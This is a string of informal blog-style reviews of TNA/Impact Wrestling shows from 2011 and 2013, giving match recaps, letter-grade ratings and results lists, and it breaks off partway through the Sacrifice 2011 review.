We’re mostly just killing time thus far. The crowd seems a bit dead for some reason but maybe it’s just been a long show. Van Dam hits a split legged moonsault on Anderson for two as Hardy saves. Abyss is gone for the moment so I’m waiting on his return to break up a pin. Instead we get a Tower of Doom with RVD taking the big bump from it. The fans chant TNA for a heel doing a big move. That sums things up pretty well.

Everyone is in the ring now and RVD is in control. I have no idea why everyone is trying to beat Abyss. He’s supposed to be unhurtable but they keep going for him. The fans chant for Anderson. This is really just a bunch of near falls with moves on the side. It’s not bad, but it’s the hazard of multiple man matches. Mic Check on Abyss gets two. Black Hole to Hardy gets two. Abyss looks stupid counting the pin.

Anderson and Hardy finally go at it and it gets NOTHING. This crowd is just out of it. Remember who these fans are too. Abyss is on Hardy who is on Anderson so RVD hits the Five Star for the pin. Wow that was anticlimactic.

Post match Abyss beats up RVD and gets the nail board which misses everything. The show ends with Abyss holding the board and RVD looking at him. Yeah that was stupid.

Rating: D. This just didn’t do it for me. It could have been worse, but at the same time there just wasn’t anything at all special here. The ending to both the match and the show just completely sucked, but what did you really expect? I see no reason at all for RVD to retain there, so of course he did. Whatever.

Overall Rating: D. I’m sorry but this show just was not very good. Actually screw that. I’m not sorry as the psychology was gone, very little made sense from the TV shows building it up and there was one truly good match. Everything else was either boring, confusing, or predictable.

RVD retains, likely setting up RVD vs. Abyss at Hard Justice in a match that should have been here. The Dudleys aren’t done yet so that solved nothing. Angle wins as you would expect him to and Lethal beat up a 60+ year old man. Someone tell me what good came from this other than the Guns’ win. Just a totally lackluster show. See the tag match though.

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Impact Wrestling
Date: June 27, 2013
Location: Peoria Civic Center, Peoria, Illinois
Commentators: Mike Tenay, Tazz

We’re still in Illinois here with a show that TNA spoiled on their website already. The main story here is we’re three weeks away from Destination X and the chance at a world title shot against Bully Ray. Other than that we have more from Sting’s Main Event Mafia which right now is just him and Kurt Angle plus more in the BFG Series. Let’s get to it.

After the usual voiceover gets things going, here’s Sting to open the show. He says that after Slammiversary he needed to go back to the roots of the Main Event Mafia so he picked Kurt Angle. Angle says that he and Sting are Mafia Originals from about four years ago. The concept of the Mafia was that everyone had to be a former world champion and they did anything they wanted.

Now, the only people who could stop them are Aces and 8’s. They’ve kept Sting from ever challenging for the world title again and kept Kurt out of the BFG Series. Angle says he and Sting are the new Main Event Mafia and are both Hall of Famers, but that means nothing until Aces and 8’s are destroyed and Bully loses the world title. Kurt says tonight there’s going to be a third member of the Family to go to war against the bikers.

Video on Sabin winning the X Title at Slammiversary.

Aces and 8’s jump Sabin in the back but don’t beat him down. Anderson and Doc hold him so Ray can lecture Chris about not overstepping his bounds and coming into the big boys’ league.

We meet the first Gut Check contestant: the Big O from Z: True Long Island Story.

X-Division Title: Chris Sabin vs. Kenny King vs. Suicide

King dives into a double dropkick to start so it’s Sabin vs. Suicide early on. King comes back with a running dropkick of his own to take both guys down. Suicide is knocked to the floor as Sabin is slammed down, only to have the masked guy come in with a missile dropkick to put King down. Everyone heads to the floor with Sabin diving onto both guys as we take a break.

Back with Sabin putting King on the top rope with his back to the ring, only to have Suicide miss a charge and get caught sitting in the corner. Sabin dropkicks King’s body into Suicide for two and your new three way spot of the match. Suicide hits a kind of Diamond Cutter into the middle buckle for two on Chris but King crotches him as the masked dude goes up.

We get the Tower of Doom with Sabin getting the worst of it, allowing King to get some near falls. Sabin comes back with a baseball slide to send Suicide to the floor and the Hail Sabin for two on King. Suicide sends the champ to the floor and gets two off a rollup on King. The Royal Flush is countered into a rollup by Suicide (with a grab of the rope) for the pin at 10:12.

Rating: C-. I’m over the three way rule and have been for months now. Having literally the same gimmick every single time makes the title nothing more than a worthless gimmick. Suicide winning is something interesting as Sabin wasn’t going to be bought as a threat to the world title no matter what.

Post match Hogan comes out with a limping guy named TJ Perkins. Hogan says this is the real Suicide and the guy in the ring jumped him and stole the suit. Suicide leaves through the crowd with the title.

Hogan says that Suicide has until the end of the show to unmask.

Ryan Howe is the other Gut Check guy. You might remember him from the last season of Tough Enough. His gimmick here seems to be a musician.

Gut Check: Ryan Howe vs. Adam O’Reiner

O’Reiner gets two off a powerslam to start before pounding Howe on the mat. Adam misses a charge in the corner and Howe puts him down with a jumping back elbow. Howe pounds away but charges into a powerslam for the pin at 2:50. This was junk.

Ray comes in to see TJ Perkins. He’s a fan of TJ’s work but wants to know if Angle and Sting put TJ up to this tonight. Perkins says no so Ray gets in his face and asks again. TJ says tonight was the opportunity of a lifetime and it was taken away from him but he doesn’t know who did it.

We recap Velvet’s knee injury and Mickie attacking her to delay the rematch over and over.

Knockouts Title: Velvet Sky vs. Mickie James

Mickie says Velvet is above this despite being a three dollar w****. Sky spears her down to start and fires off shoulders in the corner to take over. A slam to the mat gets two and Mickie heads to the outside for a breather. Mickie takes over back inside and takes it to the mat before firing off shoulders of her own in the corner. She goes after the bad knee but Velvet comes back with a bulldog for two and the champion heads outside again.

Velvet hooks a headscissors to put Mickie down before pounding away at Mickie’s face. Back in and Mickie kicks the bad knee before getting two off a bad DDT. Velvet comes back again but gets hit in the knee one more time, allowing Mickie to hook a freaky deathlock for the tap out at 6:37.

Rating: D+. The story was fine but the execution didn’t work at all. Velvet just isn’t that good in the ring but to be fair she’s there because of how she looked in her little outfits. Mickie is playing the heel very well and the idea of just going after an injury is a fine way to get heel heat.

Velvet cries about losing.

We recap the events of the night so far.

Bobby Roode walks past Sting and Angle in the back. The Mafia smiles.

Hogan asks a referee who he thinks Suicide is but can’t get any information. The referee is told to tell Suicide either unmask or get fired.

Bound For Glory Series: Magnus vs. Bobby Roode

They fight for arm control to start with neither guy being able to gain the advantage. Magnus gets two off a jumping knee to the face and Roode bails to the outside. Back in and Roode goes after the neck by sending Magnus throat first into the middle rope. A neckbreaker gets two and it’s off to a chinlock. Magnus comes back with a backdrop and a clothesline followed by a release suplex. A top rope elbow gets two on Roode but he catches Magnus in the spinebuster. The fisherman’s suplex is countered into a falcon’s arrow for the pin on Roode at 6:42.

Rating: C+. This started slow but got a lot better by the end. Magnus has so much potential it’s unreal, but it’s taken way too long to actually push the guy. That was the biggest singles win of his career and Roode isn’t going to lose anything as a result. This is called a rub, and surprisingly enough this works better than Hogan calling Magnus his main man one time backstage.

Aces and 8’s go into a locker room and ask if anyone is Suicide or if they’ve spoken to the Mafia. They all deny it but Ray threatens them anyway. Oh and Godderz should lay off the carbs.

Here are James Storm and Gunner with something to say. Storm says tag team wrestling is a science and while they may not be scientists, he’s been known as a chemist with his alcohol. You may not get along with your partner, but if you win in the ring you’re good to go. That’s why he picked Gunner and it’s why they’re champions.

This brings out Robbie E and Jesse Godderz to say they’re the future of tag team wrestling and called the team the Bromance. James: “So are you guys like a thing now?” Robbie: “I DIDN’T SAY THAT!” The name is Bro Mans apparently and Jesse says he has a hot girlfriend so they’re clearly into chicks. James calls Tara a butterface so Gunner knocks a charging Jesse out.

Sting and Angle want to go find Suicide.

Bound For Glory Series: Mr. Anderson vs. Samoa Joe

Anderson takes him into the corner but Joe pounds him down with strikes. A running big boot in the corner gets two for Joe as Tenay and Taz bicker again. We head to the floor with Anderson ramming him back first into the apron for two back inside. Anderson gets two off a swinging neckbreaker but Joe fights back into the corner again. Here are Doc and Knux for a distraction, allowing Anderson to get two off a DDT. Joe comes back with a powerslam as the Mafia hits the ring to take out the bikers. Back in the ring Joe blocks the Mic Check and gets caught in the Koquina for the tap out at 5:28.

Rating: C-. The match was a backdrop for the angle going on but it wasn’t bad. Joe could be a factor in the BFG Series as you could have him get a bunch of submissions to run up his score. He’s eternally over in TNA so the crowd will buy into him no matter what he’s doing at the moment. Also Anderson is so much better in this role than as a top guy.

Joe is the third member of the Mafia.

Here’s Hogan to demand who Suicide is tonight. Suicide gets a mic but Hogan has to list off his accomplishments first. Cue Bully Ray who says that he wants to find out who is under the mask as well. Ray claims that Suicide won the title because Sabin had the fear of Bully Ray in him. Bully is a bad person who does bad things so Suicide doesn’t want a piece of him. Hogan says take the mask off right now but Suicide says he felt the pain and we share the torment. Suicide says the question is do you know who he is…..and it’s Austin Aries, who is going to cash in again this year to win the title. Ray is shocked to end the show.

Overall Rating: D+. This was a hit and miss night for TNA. The good news is that they have some interesting stuff going on in the forms of Magnus and the Mafia, but stuff like Gut Check and the Suicide angle being rushed through in one night bring the show right back down. Also it gets annoying seeing Ray and Hogan trying to find out who Suicide is and wasting time on those segments when the reveal is later in the night. The show wasn’t bad but it felt bogged down which made it feel long.

Results

Suicide b. Chris Sabin and Kenny King – Rollup to King

Adam O’Reiner b. Ryan Howe – Powerslam

Mickie James b. Velvet Sky – Deathlock

Magnus b. Bobby Roode – Falcon’s Arrow

Samoa Joe b. Mr. Anderson – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

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Date: May 30, 2013
Location: USF SunDome, Tampa, Florida
Commentators: Mike Tenay, Tazz, Todd Keneley

Bully Ray/D-Von vs. Joseph Park/Sting

Back with D-Von working over Park until Joseph gets in a shot and goes up. Ray crotches him to stop any momentum before coming in and dropping an elbow for two. Off to D-Von for some Hogan posing as Park lays on the mat. Back to D-Von for a jumping back elbow before Ray comes in for a pretty awesome looking dropkick. Park finally gets over for a tag and Sting starts cleaning house.

Samoa Joe vs. Garrett Bischoff

Austin Aries/Bobby Roode/Bad Influence vs. James Storm/Gunner/Chavo Guerrero/Hernandez

All of the heel team tries their luck with SuperMex but he runs them all down, only to have Kaz break up the Border Toss. Aries hits a sweet running dropkick in the corner to slow Hernandez down but Austin is suplexed down to counter the brainbuster. Gunner tags himself in and no sells a discus lariat before putting Aries in the Torture Rack for the submission from Aries at 9:30.

Bound For Glory is in San Diego.

Kenny King/Gail Kim vs. Taryn Terrell/Chris Sabin

Sting talks about all of his title wins over the years.

We run down the Slammiversary card.

Mr. Anderson vs. AJ Styles

Post match here are the bikers and all of their opponents on Sunday other than Jeff Hardy. Everyone but Sting and Ray clear out and the champ is put in the Scorpion, only to have D-Von make the save and hit 3D on Sting to end the show.

Results

Sting/Joseph Park b. D-Von/Bully Ray – Scorpion Death Drop to D-Von

Samoa Joe vs. Garrett Bischoff went to a no contest

Chavo Guerrero/Hernandez/Gunner/James Storm b. Bad Influence/Bobby Roode/Austin Aries – Torture Rack to Aries

AJ Styles b. Mr. Anderson via DQ when Kurt Angle interfered

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade for just $4 from Amazon at:

Victory Road 2011
Date: March 13, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well this is TNA’s offering for the month. It’s another show with the majority of it added on at the very end with no real build to it. Yes there are stories for the matches, but that doesn’t mean there’s justification for asking something like 40 dollars for a show. The main event is the rematch of Sting vs. Jeff Hardy and the third #1 contender situation for Anderson. Let’s get to this as it’s one of the least interesting shows I can remember in forever.

The opening video is the Sting mask being crawled on by a scorpion. Wow they’re banking a lot on this push.

Bully Ray vs. Tommy Dreamer

Pre match Ray runs his mouth about how awesome Hogan and Bischoff are for letting him have a run. Dreamer comes out and Ray talks about how he’s run Dreamer into the ground over the years and mentions breaking his wife’s neck. This is now hardcore. They brawl to start us off and Dreamer sends him to the floor as we imply Ray going to Immortal. Well if they want to drive it off a cliff why not?

A fan holds a up a chair and Dreamer rams Bubba into it. There’s some water spit into Bubba’s head. This is opening a PPV in 2011. Dreamer grabs some big yellow stuffed animal (apparently from Despicable Me) to drill Ray with. Into the crowd now as my head is already hurting from this. Granted that might be due to Florida getting a 2 seed in the NCAA tournament but who knows.

They go into the balcony with the traditional carry the guy around style. Dreamer hits him in the head with something that looked like it was made of metal to continue his dominance so far. Back to ringside with Bubba getting in a big shot with some other unidentifiable weapon. Crowd is hating on Ray pretty well. He’s played the character well, but why in the world is it Bubba Ray Dudley getting this push?

Ray goes after Dreamer’s hand which only works to an extent. Dreamer throws some garbage cans with weapons into the ring. Good thing he had those just in case this was made hardcore I guess. They have a road block thing that has a name that I can’t think of in there. It’s the orange/white fence thing that is moved up when you drive through it. And there’s an inflatable doll in there which Bubba lands in a 69 position with.

Splash on the doll onto Bubba gets two. Ray gets a trashcan lid shot to the head of Dreamer as Dreamer goes up top. Superplex gets no cover. Bubba Bomb is blocked into a DDT for two. Dreamer brings in a table (moving it off the love doll) which is set up in the ring like a small ramp. The fans want D-Von as Ray gets a spinning Rock Bottom for two. He sets the table for Dreamer and calls out at D-Von. The kids of D-Von come out as does D-Von and Ray takes a 3D through the table to end it.

Rating: D+. There was a blowup doll in this as well as a Despicable Me doll. I get that it’s a comedy match, but dude it’s Tommy Dreamer vs. Bubba Ray Dudley opening a PPV in a semi-comedy match in the year 2011. Just get to the table match that is coming for Bubba vs. D-Von so they can move into midcard purgatory.

Winter and the Beautiful People insist they’re cool. Winter says the issues have been Velvet’s fault. This gets a WTF look from Velvet.

Knockout Tag Titles: Rosita/Sarita vs. Winter/Angelina Love

The Mexican chicks say basic Spanish stuff. Winter is blindfolded or something and there’s no Velvet, making me think the titles are changing here. Rosita and Angelina start us off but it’s off to Winter quickly as the champions are dominating. Bridging Northern Lights gets two. Angelina back in now as the fans chant USA for two Mexican chicks, Angelina (Canadian) and the British chick Winter.

Sarita is in now and has about as much luck as Rosita had. There’s some heel cheating and Rosita misses a front flip legdrop that was aimed at Angelina’s ankles. More fast tags by the champions as they regain control quickly. Everything breaks down slightly and Sarita grabs a belt. She drops it and Rosita gets ahold of it but Velvet runs in to steal it. Winter rolls her up but no referee. Rosita reverses it and wins the titles with a pin.

Rating: D. Well this was predictable. I don’t think this lasted very long but I don’t time PPV matches so it’s not like it matters. Granted these titles have been worthless since they debuted. Velvet has to explain herself. Wouldn’t Winter know that she was never hit by a belt and that would be enough validation? Whatever.

We’re going to have the Jarretts on vacation tonight. They’re at Universal Studios and Karen is bored out of her mind with the rollercoasters. The kids are with them and Karen hates the kid stuff.

Morgan talks about (Shawn) Hernandez and how the Mexican company dropped him. Morgan says that after this he’s going after the world title. The recap for the match is just that Hernandez came back and played the race card, setting this up. He’s in Immortal also.

Hernandez vs. Matt Morgan

This is first blood. Hernandez came out to the LAX theme which is a rarity. They head to the floor almost immediately as Morgan rushes the ring. Hernandez gets a sharp wooden stick and tries to jab it into Morgan’s face ala Magnum TA vs. Tully Blanchard. I apologize for comparing this to a classic like that. Hernandez ribs as the face as the fans want blood. Morgan fights back by a side slam.

Hernandez hits a Pounce as we hear about how awesome he was in AAA. He was so awesome he wasn’t at their biggest show of the year last year. Hernandez hammers away until Morgan gets a discus lariat. This is rather boring if you didn’t get that. Fall away slam continues Morgan’s lack of head shots. He grabs the stick from earlier but gets kicked in the gut to drop it.

A fan runs in and Hernandez pulls out a chain. Morgan kicks it out of his hand and drills Hernandez with it. The referee is down and Hernandez is busted open. Hernandez comes out of the corner and sprays Morgan with something that looks like fake blood or something like that. The other referee comes out of the back (I guess not watching on a monitor or something) and gives it to Hernandez.

Rating: F+. Well the ending was original as I don’t think I’ve ever seen that done. However, this is more or less every other first blood match with the heel bleeding and getting the win anyway in a screwy finish. This was nothing at all of note, but granted you can say that about the first 45 minutes entirely here of Impact on Sunday.

It’s Max Buck’s birthday and he works as a team with his brother. Shenanigans are implied.

Kazarian interviews JB in a weird moment. He busts out a Charlie Sheen reference, making me want to end Kazarian.

Robbie E yells at someone that we can’t see. Cookie is panicking about Ultimate X and Robbie says he’s fine. This was idiotic if you didn’t get that.

Video on Ultimate X. It’s so awesome that it got thrown on at the last minute.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Maz remember. This is the 24^th Ultimate X match in history apparently and Kaz’s fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

More honeymoon stuff and Karen wants champagne. Instead it’s a pizza. Next up: a water park.

Beer Money hits on Christy and try to get her to do the BEER MONEY thing. Basically it’s to hit on her and stare at her. Can’t say I blame them. They get serious and say they’re awesome but Ink Inc is overstepping their bounds. Something about respect is mentioned.

We recap the feud, which was Ink Inc saying they want a title shot and Beer Money saying ok.

Tag Titles: Ink Inc vs. Beer Money

I could see this being good. Neal vs. Storm starts us off With no one taking over we get a double tag and some technical stuff follows. The fans are split which makes sense for once as they’re both face teams. Moore gets a leg lariat for two. Neal comes in now and takes a powerslam for two. This is taking a bit to get off the ground here.

Moore back in now and we hit the chinlock. They do some basic stuff and it’s one of those moments where stuff happens but nothing is going on. It’s ok but there is no interest in this at all. It could be because there’s no history here and it’s there for the sake of having a title match. Roode gets a spinebuster on Neal for two. Ink Inc takes over again as Taz isn’t even sure who is legal.

Roode gets the formerly Northern Lariat (clothesline to the back of the head) to Neal and goes up top with Moore. Down goes Roode and a Whisper in the Wind to Storm gets no cover. Roode with a Rock Bottom for two. BEER MONEY thing kind of gets the crowd hot but Neal hits the spear on Storm. Neckbreaker gets two on Roode. Moore wants to use the chain but Neal disagrees. Beer Money comes back and the DWI ends Moore. I guess they’re splitting one of the two active teams worth anything.

Rating: C+. This was just there for the most part. It wasn’t great at all but it wasn’t bad. Like I said: just kind of there. The total lack of story hurt it a lot which is due to the booking and not the guys. This wasn’t bad but it was really not interesting at all. Granted that might be Shannon Moore.

Neal shakes their hands post match but Moore spits beer in their faces, I guess turning heel. He talks about having to be tough to win. Whatever.

Matt Hardy talks about how he’s cold blood/cold blooded and will hurt AJ.

AJ Styles vs. Matt Hardy

This is just Immortal vs. Fourtune. AJ uses speed to take over and grabs a front facelock. Sweet dropkick takes Matt down. Flair interferes and here comes Matt. Here come the dueling chants also. Matt has the braided hair back too. He’s in jeans and no armbands either, making him look like a bum.

Out to the floor again where AJ is sent into the post. He counters by hitting his always awesome slide under the railing and springboard forearm. Back in the ring now with AJ taking over for awhile. Matt sends him to the floor and Flair hammers away. That’s Lockdown for these two next month people. Back in Matt grabs a submission hold which is like a body vice. Picture him setting for a double arm DDT and jumping up to wrap his legs around AJ. It looked good if nothing else.

The rope is reached so it’s not like it means anything. Taz says there’s no escape to it, which is stupid as AJ just escaped. Flair grabs AJ’s balls for a bit and Matt grabs a cravate. This is boring as heck if that wasn’t clear. AJ comes back and hammers away as the crowd seems a bit restless. Enziguri puts Matt down and AJ does the same. More punching follows and a big kick to the head sets up a backbreaker for two.

AJ misses a discus lariat and the Side Effect gets two. This needs to end rather soon here. Matt gets an elbow to the back of AJ’s head and it’s Twist of whatever time. It’s blocked into a backslide for two and down goes AJ again. AJ gets back up and tries the Clash but Matt escapes that and gets two. Styles kind of botches his backflip into the reverse DDT but Flair distracts the referee.

Flair pokes AJ in the eye and takes a Pele for his efforts. Matt gets a DDT and a moonsault for two. END THIS ALREADY. Hey they listen to me as AJ takes Matt down and Spiral Tap of all things which AJ hasn’t used in years (it’s a top rope twisting moonsault/splash) gets him the pin.

Rating: D+. AJ was good, Matt was sluggish. What else were you expecting here? For the life of me I don’t get why people see money in Matt Hardy as he’s just big and slow at this point with the fans cheering him for some reason. AJ needs to just beat Flair and get it over with already. At least Matt didn’t win so there is that at least.

Back to the honeymoon with Karen snapping on Jeff. She wants sex apparently. Jeff thinks she means Kurt. This storyline has died so many times it’s insane. Thursday on Impact Jeff is going to call for a truce. They’re not sure where their kids are but they all get soaked. Jeff has been a total face the entire night now.

Anderson talks about getting screwed over and more or less says he’s a tweener.

We recap RVD vs. Anderson. In short, they both want the title and both say they got screwed. Somehow we’re talking about football. They’re grasping at whatever straws grasp at to come up with a backstory for this match. They talk about Lockdown in the voiceover but I stopped caring a long time ago.

Rob Van Dam vs. Mr. Anderson

This is ANOTHER #1 contenders match for Anderson after he won one already. They stare it down to start and it’s dueling chant time with Anderson’s being louder. Technical stuff goes on and it’s a standoff. More technical stuff follows as I think this is supposed to be an epic match. They botch a leapfrog spot with Van Dam taking a head to the balls. This show is almost a comedy of errors at this point.

Rolling Thunder to Anderson as I just want this match to end at this point. Spinning legdrop to the railing misses Anderson and the leg hits the railing to give Anderson control. Anderson works the leg and it’s all basic stuff here. Mic Check is blocked and Rolling Thunder doesn’t work either. Van Dam gets a suplex to put both guys down.

Both guys go down again and this is just dragging like every other match so far. Van Dam goes shoulder first into the post and they ram heads to go down AGAIN. Now they head to the floor off a cross body and they lay around AGAIN. Anderson gets the Mic Check on the stage and Van Dam is more of less dead.

And it’s a double count out. The fans boo the HECK out of that and I’d be with them. This somehow was 15 minutes long. Where in the world was the 15 minutes? Oh and look: MORE multi-man title matches. The fans chant to restart it and half chant no. Now it’s a 5 more minutes chant. Get on with it already.

Rating: F. This was just boring and the ending hurt it even more. They have zero chemistry together and this show has sucked so hard so far that this made it even worse. It’s obvious they’re doing a multi-man match at Lockdown but that isn’t helping anything as far as tonight goes. This is one of the worst PPVs I’ve seen in a very long time which is saying a lot when it comes to TNA.

We recap Sting winning the title on 3/3. He was a surprise, read the other reviews for the details.

Hardy says that he was treated unfairly and he’ll win tonight to bring everyone back to reality.

Sting talks about getting into the business and it’s music video time. I’ve heard this interview before. Probably was on Impact or something. Yeah I think it was. He was at home and felt a burn. Call a doctor dude.

TNA World Title: Jeff Hardy vs. Sting

It’s 10:30 and Jeff is wasting time getting to the ring. Before the match Bischoff comes out to waste MORE time. He makes it No DQ which somehow takes like two minutes. Sting drops him and the Scorpion Death Drop ends this in less than a minute. That was their first contact of the “match.” I kid you not. Are they serious?

We get a highlight video to fill in 6 minutes to end the show.

Overall Rating: F-. The show has been over for 15 minutes now (final bell rang at 10:38) and I don’t know what to say. Early word is that Hardy was in no condition to perform. If that’s the case, TNA’s creative and management team all should refund the fan’s money and resign. You had 150 minutes to come up with ANYTHING else to put out there and this is what they gave us. Put Bully Freaking Ray out there and it’s a better than this.

I’m still not sure what to think about what just happened but this is awful even by TNA standards. It’s a big slap in the face to the people that bought this show and they’ve cost themselves dearly. I was going to go to Lockdown and now I have no interest in going at all. Absolutely awful ending and a disgrace all around. Jeff being high or not, you do not let this happen. Period.

As for the rest of the show, it was bad. There was nothing at all of note worth seeing and that makes the ending even worse. This show didn’t need to happen at the end of the day. It’s a speed bump on the road to Lockdown and nothing was advanced here. Now, because of this, TNA has another fire to put out. I have no idea where they go from here but it’s nowhere good.

Results

Tommy Dreamer b. Bully Ray – 3D with help from D-Von

Rosita/Sarita b. Winter/Angelina Love – Rollup to Winter

Hernandez b. Matt Morgan – Hernandez squirted blood on Morgan

Kazarian b. Max Buck, Jeremy Buck and Robbie E – Kazarian pulled down the Title

Beer Money b. Ink Inc – DWI to Moore

AJ Styles b. Matt Hardy – Spiral Tap

Mr. Anderson vs. Rob Van Dam went to a double countout

Sting b. Jeff Hardy – Scorpion Death Drop

Remember to follow me on Twitter @kbreviews

Sacrifice 2011
Date: May 15, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s another TNA PPV tonight with the main event being Sting vs. RVD for the title.  Earlier today Karen Angle, who is in one of the big matches, posted a message on her Facebook saying that she wouldn’t be able to be in the ring tonight due to a bad ankle.  What a shock indeed.  Anyway the card looks ok I guess so let’s get to it.

The opening video is all about Sting vs. RVD and is set to a song called, appropriately enough, Sacrifice which is rap/hip hop.  Both guys are shown training, almost like a Rocky montage.

There’s a big Sacrifice banner which is a bit different.  There was a rumor that the whole place would look different but I don’t see any major differences.

Mexican America vs. Ink Inc

Neal comes out with the big American flag to fight off the evil (not) foreigners.  The fans chant USA as I guess Shannon’s teased heel turn means nothing.  This is now the Impact Wrestling Zone.  Yeah I’m not changing the name.  Anarquia and Shannon start us off.  Arm work by Shannon to start which goes on for awhile.  Anarquia wasn’t bad as Lowrider in OVW but he’s rather generic here which isn’t his fault.

Anarquia tries some power which gets him a leg lariat from Moore.  Rosita gets up to distract and this incredibly by the book match brings in Hernandez.  Neal comes in also and gets a belly to belly to take him down.  Sarita does the same thing Rosita did as even the announcers point out that it’s the same thing.  Back off to Anarquia and Moore who gets a cross body off the top for two.

Moore goes to the floor and Anarquia slides into the ring skirt, getting caught behind it in a somewhat creative spot.  Asai moonsault takes Hernandez down but Sarita comes in again to turn the tide.  Shouldn’t a big powerful heel tag team not need girls to take over on some punks?  Backbreaker submission goes on Moore by Hernandez and a slam move gets two.

Moore plays Ricky Morton as every female wrestling fan that was a teenager in the 80s screams in terror.  Moonsault press mostly misses Anarquia and it’s hot tag Neal minus the pop.  Cross body out of the corner gets two.  Moore gets a Cactus Clothesline to take Anarquia to the floor but it’s Border Toss time.  That doesn’t connect but neither does the Mooregasm due to Rosita.  Hernandez uses a sitout Dominator for the pin on Neal.  He almost landed on his head but the hair shielded him.

Rating: C. Not a terrible match at all and even decent at times, but this was the walking definition of generic.  It’s as paint by numbers as you can possibly get but at the same time that’s just fine.  Decent enough opener and nothing to really complain about.  Nothing to get excited about either but this was completely fine.

The announcers talk about what happened on Impact and get interrupted by the Jarretts’ music.  Karen is on crutches and is in a cast/walking boot.  Jeff says that Karen was giving orders to the hired help and stepped on an action figure.  The fans LOUDLY chant BS as apparently she has a bad sprain and it’s broken in two places.  The tag match is off and cue Foley.  He says he looked at the x-ray and that apparently it was of a 6’6 African American male.  The match is on because wrestling matters.  Karen throws the walking boot at Foley as he leaves.

Brian Kendrick is apparently facing Robbie E tonight in an added match.  He talks about language and talks about how the X-Division is awesome and how it’s not just about small people.

Robbie E vs. Brian Kendrick

Kendrick does his meditation thing pre-match with the hood over his head.  Hmm, Robbie has his opponent on the mat with his head covered and with him not looking.  What in the world should he do?  He pulls the hood back and gets beaten up for his efforts.  Kendrick, robe/whatever still on meditates more and keeps fighting him off.  I can’t decide if he’s more like Mr. Miyagi or Obi-Wan-Kenobi.

Cookie goes after Kendrick and is told God has a plan for her.  Robbie knocks him to the floor in his first offense.  Kendrick’s mouth is busted.  Middle rope elbow gets two on Kendrick who is still in that robe.  Suplex on the floor but the second is reversed by Kendrick.  Back in the ring a missile dropkick gives Kendrick control and there goes the robe.  Robbie can’t get the neckbreaker and a leg lariat ends this.  Time for meditation.

Rating: C-. Not bad again but this was just an extended Impact match.  Not bad but at the same time there’s no real point to this for the most part.  Granted it’s an added match so you can’t really complain about much.  I’m curious as to where this leads to a very small extent as the whole X-Division thing has been done over and over again and it never goes anywhere long term.

Kendrick tries to “bond” with both of them post match and it doesn’t go that well.

Tara is asked about the match tonight and is asked who she wants to win.  Before she can answer Madison pops up and says it’s all about her.  Tara is told to stay in the back tonight.

We recap Mickie vs. Madison.  Tara was forced to leave so Madison brought her back on the condition that she had to work for Madison.  Mickie won the title from Madison in about 8 seconds at Lockdown so tonight it’s title vs. Tara’s contract.

Knockouts Title: Mickie James vs. Madison Rayne

Madison looks hot but her tiara looks like the hat the Pope wears.  The religious leader, not Dinero.  Tara pops up just after the bell.  Well at least we’re longer than the previous month’s match.  We hit the floor quickly and Mickie is sent into the steps.  Madison drops her by the hair for two.  All Rayne so far.  Tara won’t hit Mickie when Madison tells her to.  Mickie grabs a neckbreaker to get us back to even.

Tara still won’t hit her and we get some pinfall attempts.  Down goes the referee and Mickie gets kicked in the thigh I think.  Madison revives the old loaded glove trick but Tara steals it away.  Mickie can’t get the DDT and Madison gets a rollup with a handful of Dukes for two.  Mickie gets a flapjack and a nip(ple) up but the Thesz Press takes down the referee again.  Rayne Drop can’t hit and it’s DDT time.  Tara comes in with the loaded glove and hits Madison to zero shock and we’re done.

Rating: D+. Really awkward match here as the ending was exactly what they hinted at the entire time.  Tara vs. Madison is up next I guess so I guess Mickie now faces…Winter maybe?  I really have no idea but it should be ok I guess.  Should be interesting either way I suppose.  Yeah I have nothing else to say here.

Fourtune says they’ll win tonight.  Tonight Max Buck can’t be a star if he was thrown by a ninja.  Cool line.  AJ vs. Dreamer is no DQ.  Beer Money makes fun of Harris and says AMW is done.

X-Division Title: Max Buck vs. Kazarian

If there are five members of Fourtune, why does the song say Fourtune Four?  Technical stuff to start us off with neither guy getting an extended advantage.  Kaz is in long tights tonight in a new look for him if my memory is right.  Max sends him into the corner but Kaz jumps over him and gets a reverse X-Factor for two.  That was a rather smooth looking counter indeed.

